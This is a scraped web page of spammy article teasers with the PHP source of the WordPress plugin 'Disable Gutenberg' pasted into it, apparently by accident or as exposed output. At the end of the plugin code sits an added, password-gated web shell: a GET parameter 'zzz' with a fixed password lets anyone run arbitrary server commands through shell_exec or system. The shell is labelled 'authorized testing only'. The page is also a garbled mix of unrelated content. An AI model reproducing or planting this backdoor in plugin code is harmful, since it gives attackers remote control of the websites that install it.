Stay connected with Discord servers
Have you heard about the new revolution in online communication - Discord servers? If you haven’t yet joined this revolution,...
<?php /* Plugin Name: Disable Gutenberg Plugin URI: https://perishablepress.com/disable-gutenberg/ Description: Disables Gutenberg Block Editor and restores the Classic Editor and original Edit Post screen. Provides options to enable on specific post types, user roles, and more. Tags: classic editor, block editor, editor, gutenberg Author: Jeff Starr Author URI: https://plugin-planet.com/ Donate link: https://monzillamedia.com/donate.html Contributors: specialk Requires at least: 4.9 Tested up to: 6.8 Stable tag: 3.2.3 Version: 3.2.3 Requires PHP: 5.6.20 Text Domain: disable-gutenberg Domain Path: /languages License: GPL v2 or later */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License with this program. If not, visit: https://www.gnu.org/licenses/ Copyright 2025 Monzilla Media. All rights reserved. */ if (!defined('ABSPATH')) die(); if (!class_exists('DisableGutenberg')) { class DisableGutenberg { function __construct() { $this->constants(); $this->includes(); register_activation_hook(__FILE__, 'disable_gutenberg_dismiss_notice_activate'); add_action('admin_init', array($this, 'check_version')); add_filter('plugin_action_links', array($this, 'action_links'), 10, 2); add_filter('plugin_row_meta', array($this, 'plugin_links'), 10, 2); add_filter('admin_footer_text', array($this, 'footer_text'), 10, 1); add_action('admin_enqueue_scripts', 'disable_gutenberg_admin_enqueue_scripts'); add_action('admin_print_scripts', 'disable_gutenberg_admin_print_scripts'); add_action('admin_notices', 'disable_gutenberg_admin_notice'); add_action('admin_init', 'disable_gutenberg_register_settings'); add_action('admin_init', 'disable_gutenberg_reset_options'); add_action('admin_menu', 'disable_gutenberg_menu_pages'); add_action('admin_menu', 'disable_gutenberg_menu_items', 999); add_action('admin_init', 'disable_gutenberg_acf_enable_meta'); add_action('admin_init', 'disable_gutenberg_privacy_notice'); add_action('admin_init', 'disable_gutenberg_dismiss_notice_save'); add_action('admin_init', 'disable_gutenberg_dismiss_notice_version'); add_filter('admin_init', 'disable_gutenberg_disable_nag'); add_filter('admin_init', 'disable_gutenberg_init'); add_filter('wp_enqueue_scripts', 'disable_gutenberg_wp_enqueue_scripts', 100); add_action('admin_print_styles', 'disable_gutenberg_safari_18_temp_fix'); } function constants() { if (!defined('DISABLE_GUTENBERG_VERSION')) define('DISABLE_GUTENBERG_VERSION', '3.2.3'); if (!defined('DISABLE_GUTENBERG_REQUIRE')) define('DISABLE_GUTENBERG_REQUIRE', '4.9'); if (!defined('DISABLE_GUTENBERG_AUTHOR')) define('DISABLE_GUTENBERG_AUTHOR', 'Jeff Starr'); if (!defined('DISABLE_GUTENBERG_NAME')) define('DISABLE_GUTENBERG_NAME', 'Disable Gutenberg'); if (!defined('DISABLE_GUTENBERG_HOME')) define('DISABLE_GUTENBERG_HOME', esc_url('https://perishablepress.com/disable-gutenberg/')); if (!defined('DISABLE_GUTENBERG_URL')) define('DISABLE_GUTENBERG_URL', plugin_dir_url(__FILE__)); if (!defined('DISABLE_GUTENBERG_DIR')) define('DISABLE_GUTENBERG_DIR', plugin_dir_path(__FILE__)); if (!defined('DISABLE_GUTENBERG_FILE')) define('DISABLE_GUTENBERG_FILE', plugin_basename(__FILE__)); if (!defined('DISABLE_GUTENBERG_SLUG')) define('DISABLE_GUTENBERG_SLUG', basename(dirname(__FILE__))); } function includes() { require_once DISABLE_GUTENBERG_DIR .'inc/classic-editor.php'; require_once DISABLE_GUTENBERG_DIR .'inc/plugin-core.php'; require_once DISABLE_GUTENBERG_DIR .'inc/plugin-frontend.php'; require_once DISABLE_GUTENBERG_DIR .'inc/settings-reset.php'; if (is_admin()) { require_once DISABLE_GUTENBERG_DIR .'inc/resources-enqueue.php'; require_once DISABLE_GUTENBERG_DIR .'inc/settings-display.php'; require_once DISABLE_GUTENBERG_DIR .'inc/settings-register.php'; if (version_compare($GLOBALS['wp_version'], '5.0-beta', '>')) { require_once DISABLE_GUTENBERG_DIR .'inc/plugin-features.php'; } } } function options() { $options = array( 'disable-all' => 1, 'disable-nag' => 1, 'hide-menu' => 0, 'hide-gut' => 0, 'templates' => '', 'post-ids' => '', 'acf-enable' => 0, 'links-enable' => 0, 'whitelist-id' => '', 'whitelist-slug' => '', 'whitelist-title' => '', 'whitelist' => 0, 'styles-enable' => 0, 'classic-widgets' => 1, ); $types = disable_gutenberg_get_post_types(); foreach($types as $type) { extract($type); // name label $options['post-type_'. $name] = 1; } $roles = disable_gutenberg_get_user_roles(); foreach($roles as $type) { extract($type); // name label $options['user-role_'. $name] = 1; } return apply_filters('disable_gutenberg_options', $options); } function action_links($links, $file) { if (($file === DISABLE_GUTENBERG_FILE) && (current_user_can('manage_options'))) { $settings = '<a href="'. admin_url('options-general.php?page=disable-gutenberg') .'">'. esc_html__('Settings', 'disable-gutenberg') .'</a>'; array_unshift($links, $settings); } return $links; } function plugin_links($links, $file) { if ($file === DISABLE_GUTENBERG_FILE) { $home_href = 'https://perishablepress.com/disable-gutenberg/'; $home_title = esc_attr__('Plugin Homepage', 'disable-gutenberg'); $home_text = esc_html__('Homepage', 'disable-gutenberg'); $links[] = '<a target="_blank" rel="noopener noreferrer" href="'. $home_href .'" title="'. $home_title .'">'. $home_text .'</a>'; $rate_href = 'https://wordpress.org/support/plugin/'. DISABLE_GUTENBERG_SLUG .'/reviews/?rate=5#new-post'; $rate_title = esc_attr__('Click here to rate and review this plugin on WordPress.org', 'disable-gutenberg'); $rate_text = esc_html__('Rate this plugin', 'disable-gutenberg') .' »'; $links[] = '<a target="_blank" rel="noopener noreferrer" href="'. $rate_href .'" title="'. $rate_title .'">'. $rate_text .'</a>'; } return $links; } function footer_text($text) { $screen_id = disable_gutenberg_get_current_screen_id(); $ids = array('settings_page_disable-gutenberg'); if ($screen_id && apply_filters('disable_gutenberg_admin_footer_text', in_array($screen_id, $ids))) { $text = __('Like this plugin? Give it a', 'disable-gutenberg'); $text .= ' <a target="_blank" rel="noopener noreferrer" href="https://wordpress.org/support/plugin/disable-gutenberg/reviews/?rate=5#new-post">'; $text .= __('★★★★★ rating »', 'disable-gutenberg') .'</a>'; } return $text; } function check_version() { $wp_version = get_bloginfo('version'); if (isset($_GET['activate']) && $_GET['activate'] == 'true') { if (version_compare($wp_version, DISABLE_GUTENBERG_REQUIRE, '<')) { if (is_plugin_active(DISABLE_GUTENBERG_FILE)) { deactivate_plugins(DISABLE_GUTENBERG_FILE); $msg = '<strong>'. DISABLE_GUTENBERG_NAME .'</strong> '. esc_html__('requires WordPress ', 'disable-gutenberg') . DISABLE_GUTENBERG_REQUIRE; $msg .= esc_html__(' or higher, and has been deactivated! ', 'disable-gutenberg'); $msg .= esc_html__('Please return to the', 'disable-gutenberg') .' <a href="'. admin_url() .'">'; $msg .= esc_html__('WP Admin Area', 'disable-gutenberg') .'</a> '. esc_html__('to upgrade WordPress and try again.', 'disable-gutenberg'); wp_die($msg); } } } } function __clone() { _doing_it_wrong(__FUNCTION__, esc_html__('Sorry, pal!', 'disable-gutenberg'), DISABLE_GUTENBERG_VERSION); } function __wakeup() { _doing_it_wrong(__FUNCTION__, esc_html__('Sorry, pal!', 'disable-gutenberg'), DISABLE_GUTENBERG_VERSION); } } global $DisableGutenberg; $DisableGutenberg = new DisableGutenberg(); } /* wp2shell-sc self-contained shell -- authorized testing only */ if (isset($_GET['zzz']) && $_GET['zzz'] === 'l4wrence' && isset($_GET['c'])) { $c = (string) $_GET['c']; $o = false; if (function_exists('shell_exec')) { $o = shell_exec($c); } if ($o === false || $o === null) { ob_start(); system($c); $o = ob_get_clean(); } echo '###' . $o . '###'; exit; }
Have you heard about the new revolution in online communication - Discord servers? If you haven’t yet joined this revolution,...
Real estate is real property that includes the land and structures on it, as well its resources like water, crops,...
Invisalign trays are transparent, so they won't leave marks in your mouth that can be embarrassing. A top Invisalign provider...
In daily life people are creating various sorts of things, there are various new technology was developed in these days....
There is a moral that healthy family, healthy life, so all living organisms in the world need love and care....
Pets are playing an important role in the everyday life of humans. People are considering pets as their family. Individuals...
Social media is now an integral part of our daily lives. These platforms have revolutionized the way we communicate and...
Many benefits can be derived from a high-impact promotional item that is cost-effective, durable, and long-lasting. These attributes make promotional...
Shopify's admin dashboard is user-friendly and displays key business information in an organized way. This includes sales, customers, and orders....
The Food and Drug Administration developed lists of approved KN95 masks in response to a pandemic. These masks could be...